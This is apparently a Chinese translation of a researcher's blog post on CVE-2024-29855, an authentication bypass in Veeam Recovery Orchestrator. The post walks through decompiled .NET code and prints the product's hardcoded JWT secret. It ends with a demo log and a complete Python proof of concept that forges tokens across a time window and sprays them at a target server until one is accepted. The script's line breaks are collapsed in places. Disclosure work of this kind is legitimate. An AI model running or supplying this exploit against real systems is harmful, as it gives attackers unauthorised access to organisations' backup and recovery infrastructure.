Veeam 发布了针对影响Veeam Recovery Orchestrator 的身份验证绕过漏洞 CVE-2024-29855 的CVSS 9公告,以下是我对此问题的完整分析和利用,虽然问题并不像听起来那么严重(不要惊慌)但我发现这个漏洞的机制有点有趣,并决定发布我的详细分析和利用。

简介(又是 TLDR)

6 月 10 日,Veeam 发布了一份公告,指出 Veeam Recovery Orchestrator 受到身份验证绕过的影响,允许未经身份验证的攻击者绕过身份验证并以管理员权限登录 Veeam Recovery Orchestrator Web UI。此漏洞的 CVSS 为 9.0

该漏洞是由于用于生成身份验证令牌的 JWT 密钥是一个硬编码值,这意味着未经身份验证的攻击者可以为任何用户(不仅仅是管理员)生成有效令牌并登录 Veeam Recovery Orchestrator。

官方咨询国家:

Veeam Recovery Orchestrator (VRO) 版本 7.0.0.337 中的漏洞 (CVE-2024-29855) 允许攻击者以管理权限访问 VRO Web UI。

注意:攻击者必须知道具有活动 VRO UI 访问令牌的帐户的确切用户名和角色才能完成劫持。

高级.NET利用

如果您很难理解这篇博文,但又想了解 .NET 漏洞利用,我最近公开了我的“高级 .NET 漏洞利用培训”,请注册并让我教您有关 .NET 相关漏洞的所有知识,如身份验证绕过、反序列化、缓解绕过等等。

让我们开始

该漏洞相当简单,使用硬编码的 JWT 密钥来生成和验证用户令牌,以下是令牌生成方法(也称为)的骨架Veeam.AA.Web.Auth.JwtUtils.GenerateJwtToken。人们可以很快注意到,在第 (4) 行,一个字节数组被分配了内容this._appSettings.Secret

稍后在第(11)行,这个包含秘密的字节数组用于Microsoft.IdentityModel.Tokens.SymmetricSecurityKey.SymmetricSecurityKey通过将字节传递给其构造函数来实例化该类。然后将返回的实例传递给Microsoft.IdentityModel.Tokens.SigningCredentials.SigningCredentials作为其第一个参数,该参数为类型Microsoft.IdentityModel.Tokens.SecurityKey,对于第二个参数,使用以下值http://www.w3.org/2001/04/xmldsig-more#hmac-sha256,可以很快地说这就是算法被定义的地方hmac-sha256

现在我们有一个已填充的实例,Microsoft.IdentityModel.Tokens.SecurityTokenDescriptor用于Microsoft.IdentityModel.Tokens.SecurityToken在第(13)行创建一个,然后该对象被传递给jwtSecurityTokenHandler.WriteToken发布一个供用户使用的签名令牌。


 1:  public void GenerateJwtToken(ClaimsPrincipal principal, AuthenticateResponse response)
 2:  {
 3:    JwtSecurityTokenHandler jwtSecurityTokenHandler = new JwtSecurityTokenHandler();
 4:    byte[] bytes = Encoding.ASCII.GetBytes(this._appSettings.Secret);
 5:    int accessTokenExpireMinutes = this._appSettings.AccessTokenExpireMinutes;
 6:    DateTime dateTime = DateTime.UtcNow.AddMinutes((double)accessTokenExpireMinutes);
 7:    SecurityTokenDescriptor securityTokenDescriptor = new SecurityTokenDescriptor
 8:    {
 9:      Subject = (ClaimsIdentity)principal.Identity,
10:      Expires = new DateTime?(dateTime),
11:      SigningCredentials = new SigningCredentials(new SymmetricSecurityKey(bytes), "http://www.w3.org/2001/04/xmldsig-more#hmac-sha256")
12:    };
13:    SecurityToken securityToken = jwtSecurityTokenHandler.CreateToken(securityTokenDescriptor);
14:    string text = jwtSecurityTokenHandler.WriteToken(securityToken);
15:    AuthorizationTokenStore.AccessTokens.Add(new AuthorizationInfo
16:    {
17:      Id = text,
18:      ClaimIdentity = principal,
19:      ExpiresUtc = new DateTimeOffset?(dateTime)
20:    });
21:    response.access_token = text;
22:    response.expires_in = new TimeSpan(0, 0, accessTokenExpireMinutes, 0).TotalSeconds.ToString(CultureInfo.InvariantCulture);
    }

如果你有兴趣验证提到的参数的类型,可以通过进入 Microsoft .NET 的实现来完成Microsoft.IdentityModel.Tokens.dll


 1:  using System;
 2:  using System.Security.Cryptography.X509Certificates;
 3:  using Microsoft.IdentityModel.Logging;
 4:  
 5:  namespace Microsoft.IdentityModel.Tokens
 6:  {
 7:  
 8:    public class SigningCredentials
 9:    {
10:  
11:      protected SigningCredentials(X509Certificate2 certificate)
12:      {
13:        if (certificate == null)
14:        {
15:          throw LogHelper.LogArgumentNullException("certificate");
16:        }
17:        this.Key = new X509SecurityKey(certificate);
18:        this.Algorithm = "RS256";
19:      }
20:  
21:  
22:      protected SigningCredentials(X509Certificate2 certificate, string algorithm)
23:      {
24:        if (certificate == null)
25:        {
26:          throw LogHelper.LogArgumentNullException("certificate");
27:        }
28:        this.Key = new X509SecurityKey(certificate);
29:        this.Algorithm = algorithm;
30:      }
31:  
32:  
33:      public SigningCredentials(SecurityKey key, string algorithm)
34:      {
35:        this.Key = key;
36:        this.Algorithm = algorithm;
37:      }

聪明的读者会问,它从哪里来this._appSettings.Secret

要回答这个问题,我们可以首先看一下声明_appSettings,然后看一下它的初始化,下面是定义此类的类型的地方Veeam.AA.Web.Api.dll!Veeam.AA.Web.Auth.AppSettings

我们很快就能发现public string Secret这个类别中我们感兴趣的成员。

 1:  using System;
 2:  
 3:  namespace Veeam.AA.Web.Auth
 4:  {
 5:  
 6:    public class AppSettings
 7:    {
 8:  
 9:      public string Secret { get; set; }
10:  
11:      public int RefreshTokenExpireMinutes { get; set; }
12:  
13:      public int AccessTokenExpireMinutes { get; set; }
14:  
15:      public bool WebDavLogEverything { get; set; }
16:  
17:      public bool WebDavUrlAuthorizationMode { get; set; }
18:    }
19:  }

现在我们需要了解这个类的实例在哪里初始化。以下是Veeam.AA.Web.Startup.Configure负责处理此 .net 应用程序的初始化例程的方法的实现,而行 (70) 是AppSettings最终实例化的地方。


public void Configure(IApplicationBuilder app, IWebHostEnvironment env, IApiVersionDescriptionProvider provider, IHostApplicationLifetime applicationLifetime, IProxyGetter proxyGetter)
 1:  {
 2:    Startup.Log.Info(WebApiMessages.MethodInConfigure, Array.Empty<object>());
 3:    CancellationToken cancellationToken = applicationLifetime.ApplicationStopping;
 4:    cancellationToken.Register(delegate
 5:    {
 6:      Startup.Log.Info(WebApiMessages.ApplicationStopping, Array.Empty<object>());
 7:    });
 8:    cancellationToken = applicationLifetime.ApplicationStopped;
 9:    cancellationToken.Register(delegate
10:    {
11:      Startup.Log.Info(WebApiMessages.ApplicationStopped, Array.Empty<object>());
12:    });
13:    if (env.IsDevelopment())
14:    {
15:      app.UseDeveloperExceptionPage();
16:    }
17:    app.UseSwagger(delegate(SwaggerOptions _)
18:    {
19:    });
20:    bool enablePrivateApi = WinRegistryHelper.GetIntValueFromRegistry(WinRegistryHelper.VeeamKeyPath + "Availability Orchestrator", "EnablePrivateApi", -1) != -1;
21:    app.UseSwaggerUI(delegate(SwaggerUIOptions options)
22:    {
23:      options.InjectJavascript("/jquery-3.7.0.min.js", "text/javascript");
24:      options.InjectJavascript("/swagger.custom.js", "text/javascript");
25:      options.InjectStylesheet("/swagger.custom.css", "screen");
26:      options.DefaultModelExpandDepth(0);
27:      options.DefaultModelsExpandDepth(-1);
28:      options.DocExpansion(DocExpansion.None);
29:      for (int i = provider.ApiVersionDescriptions.Count - 1; i >= 0; i--)
30:      {
31:        ApiVersionDescription apiVersionDescription = provider.ApiVersionDescriptions[i];
32:        int? majorVersion = apiVersionDescription.ApiVersion.MajorVersion;
33:        int num = 0;
34:        if (!((majorVersion.GetValueOrDefault() == num) & (majorVersion != null)) || enablePrivateApi)
35:        {
36:          string text = (apiVersionDescription.IsDeprecated ? (apiVersionDescription.GroupName + " - DEPRECATED") : (apiVersionDescription.GroupName ?? "").ToUpperInvariant());
37:          options.SwaggerEndpoint("/swagger/" + apiVersionDescription.GroupName + "/swagger.json", text);
38:        }
39:      }
40:      options.EnableValidator(null);
41:      options.EnableDeepLinking();
42:    });
43:    string contentRootPath = env.ContentRootPath;
44:    PathString pathString = new PathString("");
45:    app.UseDefaultFiles(new DefaultFilesOptions
46:    {
47:      FileProvider = new PhysicalFileProvider(contentRootPath),
48:      RequestPath = pathString
49:    });
50:    app.UseStaticFiles(new StaticFileOptions
51:    {
52:      FileProvider = new PhysicalFileProvider(contentRootPath),
53:      RequestPath = pathString
54:    });
55:    app.UseRouting();
56:    app.UseSession();
57:    app.UseCors(delegate(CorsPolicyBuilder x)
58:    {
59:      x.AllowAnyMethod().AllowAnyHeader().AllowCredentials();
60:    });
61:    Startup.AccessValidator accessValidator = new Startup.AccessValidator(proxyGetter);
62:    accessValidator.SetAccessRoles(new string[] { "DRSiteAdmin" });
63:    NotificationServiceOptions pushServerOptions = new NotificationServiceOptions
64:    {
65:      AccessValidator = accessValidator
66:    };
67:    app.UseNotificationService(pushServerOptions);
68:    app.UseAuthentication();
69:    app.UseAuthorization();
70:    AppSettings value = app.ApplicationServices.GetRequiredService<IOptions<AppSettings>>().Value;
71:    app.UseWebDavHandlerMiddleware(value.WebDavLogEverything, value.WebDavUrlAuthorizationMode);
72:    app.UseEndpoints(delegate(IEndpointRouteBuilder endpoints)
73:    {
74:      endpoints.MapControllers();
75:      endpoints.MapHub(pushServerOptions.FullSignalRUrl + "/notificationsHub");
76:    });
77:    Startup.Log.Info(WebApiMessages.MethodOutConfigure, Array.Empty<object>());
78:  }

填充此类成员的值取自以下文件appsettings.json,让我们看一下该文件内部。

我们可以很快地知道Secret密钥包含 JWT 秘密,而该产品的问题在于 JWT“秘密”值始终保持“相同”(在最新补丁之前)


{
  "AppSettings": {
    "Secret": "o+m4iqAKlqR7eURppDGi16WEExMD/fkjI15nVPOHSXI=",
    "RefreshTokenExpireMinutes": 120,
    "AccessTokenExpireMinutes": 15,
    "WebDavLogEverything": "false",
    "WebDavUrlAuthorizationMode": "false"
  },
  "Vcf": {
    "Host": "localhost",
    "Port": 12348,
    "ReconnectInterval": "0.00:01:00"
  },
  "Logging": {
    "LogLevel": {
      "Default": "Information",
      "Microsoft": "Warning",
      "Microsoft.Hosting.Lifetime": "Information"
    }
  },
  "AllowedHosts": "*"
}

现在我们了解了 JWT 令牌是如何生成的,人们可能会快速继续生成令牌,但对于这个产品,它不起作用,实际上有一些有趣的事情导致 CVSS 从 CVSS 9.8 下降到 CVSS 9,原因如下。

让我们看一下负责验证提供的 JWT 令牌的方法,该方法位于Veeam.AA.Web.Auth.JwtUtils.ValidateJwtToken

此方法的机制很简单,它期望以字符串形式传递一个令牌,然后继续创建我们在令牌生成部分讨论的类的实例(第 7 行),然后在第(8)行通过引用并将其值加载到字节数组中来JwtSecurityTokenHandler加载相同的硬编码 JWT 机密,然后(第 9 行)定义一个实例。this._appSettings.Secret 、ClaimsPrincipal

包含机密的字节数组用于实例化,SymmetricSecurityKey其返回值用于填充IssuerSigningKey成员属性,TokenValidationParameters其本身是传递给的第二个参数,用于jwtSecurityTokenHandler.ValidateToken验证已作为第一个参数传递的用户令牌,如果令牌通过验证,则将out securityToken包含已验证的令牌,以防从内部引发验证异常,则第Microsoft.IdentityModel.Tokens.SecurityTokenHandler.ValidateToken( catch26) 行的块用于捕获异常并分配null给先前定义的claimsPrincipal变量,意味着令牌无效。

但是,敏锐的眼睛可能会注意到这里的一些重要的东西,如果没有引发异常,那么在第(23)行,提供的令牌将被传递给AuthorizationTokenStore.AccessTokens.Get 类型的对象,AuthorizationInfo这种类型也称为Veeam.AA.Web.Auth.Models.AuthorizationInfo

如果返回的值AuthorizationTokenStore.AccessTokens.Get不等于,null则最终claimsPrincipal填充并返回给调用者以告知令牌有效。

但是什么AuthorizationTokenStore.AccessTokens.Get


 1:  public ClaimsPrincipal ValidateJwtToken(string token)
 2:  {
 3:    if (token == null)
 4:    {
 5:      return null;
 6:    }
 7:    JwtSecurityTokenHandler jwtSecurityTokenHandler = new JwtSecurityTokenHandler();
 8:    byte[] bytes = Encoding.ASCII.GetBytes(this._appSettings.Secret);
 9:    ClaimsPrincipal claimsPrincipal;
10:    try
11:    {
12:      SecurityToken securityToken;
13:      jwtSecurityTokenHandler.ValidateToken(token, new TokenValidationParameters
14:      {
15:        ValidateIssuerSigningKey = true,
16:        IssuerSigningKey = new SymmetricSecurityKey(bytes),
17:        ValidateIssuer = false,
18:        ValidateAudience = false,
19:        RequireExpirationTime = true,
20:        ValidateLifetime = true,
21:        ClockSkew = TimeSpan.Zero
22:      }, out securityToken);
23:      AuthorizationInfo authorizationInfo = AuthorizationTokenStore.AccessTokens.Get(token);
24:      claimsPrincipal = ((authorizationInfo != null) ? authorizationInfo.ClaimIdentity : null);
25:    }
26:    catch
27:    {
28:      claimsPrincipal = null;
29:    }
30:    return claimsPrincipal;
31:  }

不再赘述,简单来说,访问AuthorizationTokenStore.AccessTokens.Get内存中的对象列表,这个对象列表显然存储了对象,但对于我们的目的而言,它包含先前颁发的 JWT 令牌列表,这非常重要,您问为什么呢?好吧,即使我们设法(滥用)使用硬编码的 JWT 密钥来生成有效令牌,如果该令牌实际上不是在过去颁发的,则返回会AuthorizationTokenStore.AccessTokens.Get导致null也会authorizationInfo导致并且null令牌验证也会失败。claimsPrincipal、null

 1:  using System;
 2:  using System.Collections.Concurrent;
 3:  using System.Collections.Generic;
 4:  using System.Linq;
 5:  using System.Linq.Expressions;
 6:  using System.Reflection;
 7:  
 8:  namespace Veeam.AA.Web.Auth
 9:  {
10:  
11:  public class InMemoryObjectList<TEntity> where TEntity : class
12:  {
13:  
14:    public InMemoryObjectList()
15:    {
16:      this.CreateIdGetter();
17:    }
18:  
19:  
20:    private Func<TEntity, object> CreateIdGetter()
21:    {
22:      Type typeFromHandle = typeof(TEntity);
23:      PropertyInfo property = typeFromHandle.GetProperty("Id");
24:      if (property == null)
25:      {
26:        throw new ArgumentException("Entity must have Id property");
27:      }
28:      ParameterExpression parameterExpression = Expression.Parameter(typeFromHandle, "param");
29:      Expression expression = Expression.Convert(Expression.Property(parameterExpression, property), typeof(object));
30:      LambdaExpression lambdaExpression = Expression.Lambda(expression, new ParameterExpression[] { parameterExpression });
31:      this._idGetter = lambdaExpression.Compile() as Func<TEntity, object>;
32:      return this._idGetter;
33:    }
34:  
35:  
36:    public void Add(TEntity entity)
37:    {
38:      object obj = this._idGetter(entity);
39:      this._collection.TryAdd(obj, entity);
40:    }
41:  
42:  
43:    public TEntity Get(object id)
44:    {
45:      if (this._collection.ContainsKey(id))
46:      {
47:        return this._collection[id];
48:      }
49:      return default(TEntity);
50:    }
51:  
52:  [..SNIP..]

为了演示内存中的对象列表是什么样子的,以下是list经过多次身份验证请求后的运行时内容,该列表包含多个有效的 JWT 令牌的管理员会话


这正是 Veeam 官方咨询所指的(可以这么说)

他们声称,这种利用需要满足三个条件:

  • 知道用户名

  • 了解角色

  • 目标具有活动会话

这是事实,这就是为什么这个问题的可利用性有点牵强,我同意这一点,但如你所知,我在这里是为了让这件事变得更有可能(只是一点点)

首先,“知道用户名”问题“有点”可以通过以下解决方案解决,假设存在一个名为的用户,administrator@evilcorp.local可以通过查看 SSL 证书的字段找到域名CN,并且可以对用户名进行喷洒,虽然有点蹩脚,但这就是我们现在所拥有的

其次,“知道”角色本身就是个笑话,经过进一步的逆向,我得出结论,角色可能的值只有 5 个,下面是这些角色的定义


 1:  using System;
 2:  using System.Collections.Generic;
 3:  using System.Runtime.CompilerServices;
 4:  
 5:  namespace Veeam.AA.Common.Security
 6:  {
 7:  [NullableContext(1)]
 8:  [Nullable(0)]
 9:  public static class RoleNames
10:  {
11:    public const string Anonymous = "Anonymous";
12:  
13:    public const string Administrator = "DRSiteAdmin";
14:  
15:    public const string PlanAuthor = "DRPlanAuthor";
16:  
17:    public const string PlanOperator = "DRPlanOperator";
18:  
19:    public const string SetupOperator = "SiteSetupOperator";
20:  
21:    public static IReadOnlyCollection<string> AllRoles = new string[] { "DRSiteAdmin", "DRPlanAuthor", "DRPlanOperator", "SiteSetupOperator" };
22:  }
23:  }

第三,目标具有活动会话,我们上面讨论过这个,创建的 JWT Veeam.AA.Web.Auth.JwtUtils.GenerateJwtToken存储在 InMemoryObjectList 中,因此用户需要登录。

所以现在的计划很简单,在一段时间内生成有效的 JWT 令牌,并将它们喷洒到服务器上,直到我们获得命中。提供的 PoC 是用 python 编写的,我认为其他语言可以做得更快,我希望一个强大的小伙子或小伙子可以制作一个更快的 poc 并让我知道它。

事情经过如下:

演示

python CVE-2024-29855.py  --start_time 1718264404 --end_time 1718264652 --username administrator@evilcorp.local --target https://192.168.253.180:9898/
 _______ _     _ _______ _______  _____  __   _ _____ __   _  ______   _______ _______ _______ _______ |______ |     | |  |  | |  |  | |     | | \  |   |   | \  | |  ____      |    |______ |_____| |  |  | ______| |_____| |  |  | |  |  | |_____| |  \_| __|__ |  \_| |_____| .    |    |______ |     | |  |  |
        (*) Veeam Recovery Orchestrator Authentication Bypass (CVE-2024-29855) 
        (*) Exploit by Sina Kheirkhah (@SinSinology) of SummoningTeam (@SummoningTeam)
        (*) Technical details: https://summoning.team/blog/veeam-recovery-Orchestrator-auth-bypass-CVE-2024-29855/

(INFO) Spraying JWT Tokens: 401(INFO) Spraying JWT Tokens: 401(INFO) Spraying JWT Tokens: 401(INFO) Spraying JWT Tokens: 401(INFO) Spraying JWT Tokens: 401(INFO) Spraying JWT Tokens: 401(INFO) Spraying JWT Tokens: 401(INFO) Spraying JWT Tokens: 401(INFO) Spraying JWT Tokens: 401(INFO) Spraying JWT Tokens: 401(INFO) Spraying JWT Tokens: 401(INFO) Spraying JWT Tokens: 401(INFO) Spraying JWT Tokens: 401(INFO) Spraying JWT Tokens: 401(INFO) Spraying JWT Tokens: 401(INFO) Spraying JWT Tokens: 401(INFO) Spraying JWT Tokens: 401(INFO) Spraying JWT Tokens: 401(INFO) Spraying JWT Tokens: 401(INFO) Spraying JWT Tokens: 401(INFO) Spraying JWT Tokens: 401(INFO) Spraying JWT Tokens: 401(INFO) Spraying JWT Tokens: 401(INFO) Spraying JWT Tokens: 401(INFO) Spraying JWT Tokens: 401(INFO) Spraying JWT Tokens: 401(+) Pwned Token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.gpvNsv78cZRt6qelKMIzprAQG_Eva6pKyNLLGIrnXkA, Status code: 200(+) Response: {"user":"administrator@evilcorp.local","siteName":null,"siteRole":"Unknown","isLogged":true,"formats":{"shortTime":"H:i","longTime":"H:i:s","shortDate":"m/d/Y","shortTimeHR":"HH:mm","longTimeHR":"HH:mm:ss","shortDateHR":"MM/dd/yyyy","firstDayOfWeek":"Sunday"},"roles":["SiteSetupOperator"],"siteScopeRoles":[{"id":"00000000-0000-0000-0000-000000000000","name":"All Scopes","roles":[]}],"displayUserName":"EVILCORP\\Administrator","uiTimeout":3600,"dnsName":"WIN-I61UGP29579.evilcorp.local","domainName":"evilcorp.local"}

概念验证

"""Veeam Backup Enterprise Manager Authentication Bypass (CVE-2024-29855)Exploit By: Sina Kheirkhah (@SinSinology) of Summoning Team (@SummoningTeam)Technical details: https://summoning.team/blog/veeam-recovery-Orchestrator-auth-bypass-CVE-2024-29855/"""

banner = r""" _______ _     _ _______ _______  _____  __   _ _____ __   _  ______   _______ _______ _______ _______ |______ |     | |  |  | |  |  | |     | | \  |   |   | \  | |  ____      |    |______ |_____| |  |  | ______| |_____| |  |  | |  |  | |_____| |  \_| __|__ |  \_| |_____| .    |    |______ |     | |  |  |
        (*) Veeam Recovery Orchestrator Authentication Bypass (CVE-2024-29855) 
        (*) Exploit by Sina Kheirkhah (@SinSinology) of SummoningTeam (@SummoningTeam)
        (*) Technical details: https://summoning.team/blog/veeam-recovery-Orchestrator-auth-bypass-CVE-2024-29855/
        """
""""""
import jwtimport timeimport warningsimport requestsimport argparsefrom concurrent.futures import ThreadPoolExecutorimport signalimport sys
warnings.filterwarnings("ignore")
jwt_secret = "o+m4iqAKlqR7eURppDGi16WEExMD/fkjI15nVPOHSXI="counter = 0def exploit_token(token):    global counter    url = f"{args.target.rstrip('/')}/api/v0/Login/GetInitData"    headers = {"Authorization": f"Bearer {token}"}    try:        res = requests.get(url, verify=False, headers=headers)        if(res.status_code == 200):            print(f"(+) Pwned Token: {token}, Status code: {res.status_code}\n(+) Response: {res.text}")            counter = 21            sys.exit(0)        if(args.debug or counter == 10):            print(f"(INFO) Spraying JWT Tokens: {res.status_code}")            counter = 0    except requests.exceptions.RequestException as e:        if args.debug:            print(f"(INFO) Request failed: {e}")
    counter += 1
def generate_token_and_exploit(current_time):    claims = {        "unique_name": args.username,        "role": "SiteSetupOperator",        "nbf": current_time,        "exp": current_time + 900,        "iat": current_time    }    encoded_jwt = jwt.encode(claims, jwt_secret, algorithm="HS256")    exploit_token(encoded_jwt)
def signal_handler(sig, frame):    print('Interrupted! Shutting down gracefully...')    executor.shutdown(wait=False)    sys.exit(0)
if __name__ == "__main__":    print(banner)    parser = argparse.ArgumentParser(description="Generate and exploit JWT tokens.")    parser.add_argument("--start_time", type=int, help="Start time in epoch format", required=True)    parser.add_argument("--end_time", type=int, help="End time in epoch format", required=True)    parser.add_argument("--username", type=str, help="administrator@evilcorp.local or evilcorp\\administrator", required=True)    parser.add_argument("--target", type=str, help="target url, e.g. https://192.168.253.180:9898/", required=True)    parser.add_argument("--debug", action="store_true", help="Enable debug mode")    args = parser.parse_args()
    start_time = args.start_time    end_time = args.end_time
    signal.signal(signal.SIGINT, signal_handler)
    with ThreadPoolExecutor() as executor:        signal.signal(signal.SIGINT, lambda sig, frame: signal_handler(sig, frame))
        current_time = start_time        while current_time < end_time:            try:                executor.submit(generate_token_and_exploit, current_time)                current_time += 1            except KeyboardInterrupt:                print("Keyboard interrupt received, shutting down...")                executor.shutdown(wait=False)                sys.exit(0)

参考

https://github.com/sinsinology/CVE-2024-29855
https://www.veeam.com/kb4585
There Are No Secrets || Exploiting Veeam CVE-2024-29855

https://summoning.team/blog/veeam-recovery-orchestrator-auth-bypass-cve-2024-29855/